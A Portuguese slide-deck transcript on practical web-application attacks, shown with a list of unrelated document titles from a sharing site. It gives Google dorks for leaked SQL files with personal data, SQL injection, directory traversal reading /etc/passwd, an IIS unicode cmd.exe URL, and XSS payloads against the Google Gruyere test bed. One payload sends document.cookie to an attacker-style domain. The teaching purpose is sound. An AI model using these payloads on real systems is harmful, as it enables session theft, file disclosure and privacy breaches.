Ataques a Aplicações Web



Documentos relacionados
Nomes: Questão 1 Vulnerabilidade: SQL Injection (Injeção de SQL):

Segurança na WEB Ambiente WEB estático

... MANUAL DO MODERADOR SERVIÇOS DE WEB

Falha segurança Baco Cross-site scripting (XSS) e Logins por canal não seguro (http) perenboom@hmamail.com

Criação de Aplicativos de redes sociais para Autenticação

Linguagem de. Aula 06. Profa Cristiane Koehler

Prova de pré-requisito

Aplicação web protegida

XSS - CROSS-SITE SCRIPTING

Segurança da Internet. Ricardo Terra (rterrabh [at] gmail.com) Segurança da Internet Outubro,

Manual do SISC Sistema de Informações do Serviço de Convivência e Fortalecimento de Vínculos Perfil Gestor Estadual Abril/2014 Versão 1.

Verifique se o Plugin do Flash Player está instalado no seu computador para a navegação adequada no portal.

UNIVERSIDADE REGIONAL DE BLUMENAU DIVISÃO DE TECNOLOGIA DA INFORMAÇÃO

Inserindo e Listando registros

PÓS-GRADUAÇÃO EM MATEMÁTICA COMPUTACIONAL INFORMÁTICA INSTRUMENTAL Aula 06: Introdução Linguagem HTML

LÓGICA DE PROGRAMAÇÃO. Professor Celso Masotti

Como criar um blog. Será aberta uma janela onde você deverá especificar o título do blog, o endereço do blog, e o modelo.

Portal de Aprendizado Tutorial do Aluno

Ameaças, riscos e vulnerabilidades Cont. Objetivos

Pronto! Todos os instaladores correspondentes do filtro aplicado no passo 4 serão disponibilizados para download.

Segurança em Sistemas Web. Addson A. Costa

6 TESTES DE SEGURANÇA EM APLICAÇÕES WEB. 6.1 Comentários iniciais

Segurança em aplicações web: pequenas ideias, grandes resultados Prof. Alex Camargo

Manual do Cliente. Alu Tracker Monitoramento Veicular

Manual de Instalação do e.sic - Sistema Municipal de Informações ao Cidadão

MANUAL DE NOTÍCIAS NO PORTAL DA PBH

Jaspe versão 1.2. Manual do usuário Versão em Português

Manual de Operação do CADSUS WEB Modo Consulta

Projeto ECA na Escola - Plataforma de Educação à Distância

Sumário. Parte I Introdução Introdução O Rails é ágil Explorando o conteúdo Agradecimentos... 19

TUTORIAL PARA O TUTOR VALIDAR BOLSA DE SUPERVISOR

1) Ao ser executado o código abaixo, em PHP, qual será o resultado impresso em tela?

Prof. Roberto Franciscatto 4º Semestre - TSI - CAFW. Free Powerpoint Templates Page 1

Boletim Eletrônico de Recolhimento Manual do Sistema. Boletim Eletrônico de Recolhimento. Manual do Sistema

HTML Página 1. Índice

Tutorial de Acesso ao AVA - Ambiente Virtual de Aprendizagem e-learning Consinco. Agosto 2015, versão 1

TUTORIAL DO CORRETOR DE IMÓVEIS PARA UTILIZAÇÃO DO SISTEMA :: REDE CERTA ::

Para o PowerPoint, assim como para vários softwares de apresentação, uma apresentação é um conjunto de slides.

Manual do Usuário. aneiro de 2008 Versão 1

Instituto Siegen Manual do Professor

Manual do Fórum do Meio Ambiente. Propõe instruções para primeiro acesso e funcionalidades básicas do sistema.

Medical Office 2015 Instruções de Instalação e Configuração

TÉCNICAS DE PESQUISA AVANÇADA EM VÍDEOS NO GOOGLE

Segurança Web com PHP 5 Douglas V. Pasqua Zend Certified Enginner

Banco de Dados Oracle 10g: Introdução à Linguagem SQL

Guia do Usuário do Aplicativo Desktop Client

Tutorial para Atualização do Laboratório de Informática

Manual de Posicionamento On-line

Acompanhamento e Execução de Projetos


CADERNOS DE INFORMÁTICA Nº 1. Fundamentos de Informática I - Word Sumário

Manual do usuário Sistema de Ordem de Serviço HMV/OS 5.0

COMO ADICIONAR BANNER ROTATIVO Portal Ebserh Site dos Hospitais Universitários

Aula de JavaScript 05/03/10

LINX POSTOS AUTOSYSTEM

Manual do Usuário - Cliente Externo

ROTEIRO PARA EMISSÃO DE CERTIFICADO DIGITAL A1

Usando o NVU Parte 2: Inserindo imagens

Tutorial do Site das Escolas

Instrução de Trabalho Registro de chamado no sistema OCOMON

SIGA-CEIVAP MANUAL DO USUÁRIO 1

Segurança Web com PHP 5 Douglas V. Pasqua Zend Certified Engineer douglas.pasqua@gmail.com

(Capitais e Interior) (Demais Localidades) (Capitais e Interior) Golden Fone (SAC)

PEDIDOS WEB MANUAL DO USUÁRIO

INSCRIÇÃO ON- LINE REVEZAMENTOS A PARTIR DE 2015 INDICADO PARA TÉCNICOS

(In)Segurança em Aplicações Web. Marcelo Mendes Marinho Thiago Canozzo Lahr

MANUAL DO SISTEMA DE PATRIMÔNIO IMOBILIÁRIO SISPAT

Manual de Utilizador. Caderno. Recursos da Unidade Curricular. Gabinete de Ensino à Distância do IPP.

Pessoal, abaixo fiz um passo-a-passo de como configurar o DVR para acessar a internet, neste caso utilizei os seguintes itens:

Configurações dos Sistemas

MANUAL DA SECRETARIA

JOOPP O construtor de sites mais rápido do mundo!

País(es) : Brasil Banco(s) de Dados : Sql Server / Oracle

CeC. Cadastro Eletrônico de Contribuintes

Personal Home Page PHP. Prof. Luiz Claudio F. de Souza

Tutorial WEB Soluço es Click.

Segurança em aplicações Web. Exemplos e Casos Práticos em

Manual de Operação. Copyright Todos os direitos reservados.

UNIVERSIDADE ESTADUAL DE GOIÁS PROCESSO SELETIVO SIMPLIFICADO Edital nº CARGO: TÉCNICO ADMINISTRATIVO DE NÍVEL MÉDIO

Segurança da Informação:

ALTERAÇÃO DAS CONFI GURAÇÕES PESSOAI S... 3 I NSERÇÃO DE M ATERI AL NO PORTAL NOTÍ CI A EVENTO PÁGI NA I MAGEM...

Site Fácil. Guia do Usuário. PROCERGS Divisão 5

Linguagem de Programação JAVA. Técnico em Informática Professora Michelle Nery

SUPORTE TÉCNICO SUPORTE PARA ACESSO À FATURA NA INTERNET

Orientações para o uso do webmail da CODEVASF

Manual do Usuário. Sistema Estadual de Informações Ambientais e de Recursos Hídricos VERSÃO 2.0

Curso Online A Escola no Combate ao Trabalho Infantil Plataforma de Educação à Distância

Fonte: - Illustration by Gaich Muramatsu

DWEB. Design para Web. HTML5 - Marcação de formulário. Curso Superior de Tecnologia em Design Gráfico

Personalizações do mysuite

Max Fatura Sistema de Gestão

Transcrição:

Ataques a Aplicações Web - Uma visão prática - Carlos Nilton A. Corrêa http://www.carlosnilton.com.br/ ccorrea@unimedrj.com.br @cnacorrea

Agenda 1. Panorama da (in)segurança web 2. Google hacking 3. SQL Injection 4. XSS 5. Um exemplo do dia-a-dia

Vulnerabilidades da web Fonte: Projeto OWASP

Information leakage? Consultas no Google! Podem equivaler a um nmap da web inurl:<domínio> ext:<extensão> <string> inurl:com.br ext:sql medico especialidade inurl:com.br ext:sql medico cpf

SQL Injection Ataque em que um formulário é preenchido com informações que interferem no fluxo de execução de consultas Frequentemente aplicado em etapas de login Geralmente, a seção de um sistema web onde há maior preocupação com segurança

Exemplo básico Isto: SELECT * FROM Bugs WHERE bug_id = $_GET['bugid']; Pode resultar nesta instrução! SELECT * FROM Bugs WHERE bug_id = 1234 OR TRUE;

Um caso pior! UPDATE Accounts SET password = SHA2('$password') WHERE account_id = $account_id; Vira... UPDATE Accounts SET password = SHA2( xyzzy ) WHERE account_id = 1234 OR TRUE

Directory traversal Tipo de ataque que faz com que uma aplicação web acesse um arquivo não-desejado Ocorre quanto um programa do tipo (geralmente um CGI) não trata adequadamente seus parâmetros de entrada Se um dos parâmetros indica um nome de arquivo, é possível manipulá-lo para que aponte para arquivos arbitrários no sistema do servidor

Exemplo básico (PHP/Linux) Suponha um script que suporte isto: http://www.xxx.com/members/seepic.cgi?arq= 001.jpg <?... /* le imagem a ser exibida */ arqimg = fopen( /amadoras/.$_get['arq'], r ); imagem = fread($handle, filesize($arqimg)); print $imagem; fclose($arqimg);?>

Imagine agora este acesso... http://www.xxx.com/members/seepic.cgi?arq=.. /../../../../../../../../../etc/passwd

Directory traversal no Windows O caractere utilizado como separador de caminhos no Windows é \, o que de algum modo particulariza os ataques a esta plataforma Não obstante, cada vez mais APIs Windows têm suportado o caractere / em diretórios Uma vez que sistemas Windows não contam com uma árvore de diretórios unificada, ataques do tipo ficam restritos à partição em que os arquivos sendo servidos estiverem localizados

Variantes do ataque (1) Para evitar detecção por sistemas sensíveis a parâmetros que possuam caracteres como /, alguns ataques usam caminhos codificados Uma possibilidade é utilizar parâmetros com codificação de URL: seepic.cgi?arq=%2e%2e%2f... (../) seepic.cgi?arq=%2e%2e%5c... (..\)

Variantes do ataque (2) No passado, caracteres da plataforma Windows também podiam ser especificados por seu código Unicode Esta é uma codificação universal de 16 bits para representar símbolos em qualquer linguagem http://address.of.iis5.system/scripts/..%c0%af../winnt/ system32/cmd.exe?/c+dir+c:\ (%c0%af == '/') (%c1%9c == '\')

XSS Cross Site Scripting Através de um XSS, o Cracker injeta codigos JavaScript em um campo texto de uma página já existente e este JavaScript é apresentado para outros usuários. -- Wikipédia

XSRF (ou CSRF) Técnica em que o atacante se vale de informações de sessão previamente existentes no browser de um usuário para forjar requisições ou disparar ações nocivas Pode ser utilizado como parte de um ataque de XSS (cross-site scripting) Geralmente envolve algum tipo de engenharia social ou alguma forma de acesso à vítima

Google Gruyere http://google-gruyere.appspot.com/ Aplicação propositalmente desenvolvida com bugs Um testbed para experiências em segurança

Google Gruyere

Ataques orientados ao Gruyere Básicos Cadastrar um item com nome: zezi<a href="lalala">nho</a> Ou com o nome: <b>isto é um teste.</b><a href="http://www.malvado.com/">link</a> Ou ainda: <P class=dev>point your mouse <A onmouseover="alert('this is an alert box!')" href="">here</a></p>

Ataques orientados ao Gruyere Internet Explorer 9 (Ago/2011) <a href="http://googlegruyere.appspot.com/<instancia>/snippets.gtl?uid=< script>alert('segura PEAO')</script>">Este é o super novo queijo</a> <a href="http://googlegruyere.appspot.com/<instancia>/snippets.gtl?uid=< script>window.open('http://www.google.com.br/')</s cript>">este é o super novo queijo</a>

Ataques orientados ao Gruyere Começando a ficar sem-graça... <a href="http://googlegruyere.appspot.com/<instancia>/snippets.gtl?uid=< script>alert(document.cookie)</script>">este é o super novo queijo</a>

Ataques orientados ao Gruyere Fazendo algo desagradável... <a href="http://googlegruyere.appspot.com/<instancia>/snippets.g tl?uid=<script>window.open("http://www.peg odadosdoseubanco.com.br/salva.php?cook=" + document.cookie)</script>">este é o super novo queijo</a> Vejamos um exemplo de script para salvar dados...

Ataques orientados ao Gruyere Indo além do pedagógico! http://googlegruyere.appspot.com/<instancia>/snippets. gtl?uid=%3ciframe%20src=%22http://www.goog le.com.br%22%20width=%22100%%22%20height= %22100%%22%3E%3Cp%3EEntrar%20em%20contat o%20com%20o%20seu%20banco.%3c/p%3e%3c/if rame%3e

OPA!!! Será que isto tem a ver comigo??

Obrigado!! Carlos Nilton A. Corrêa http://www.carlosnilton.com.br/ ccorrea@unimedrj.com.br @cnacorrea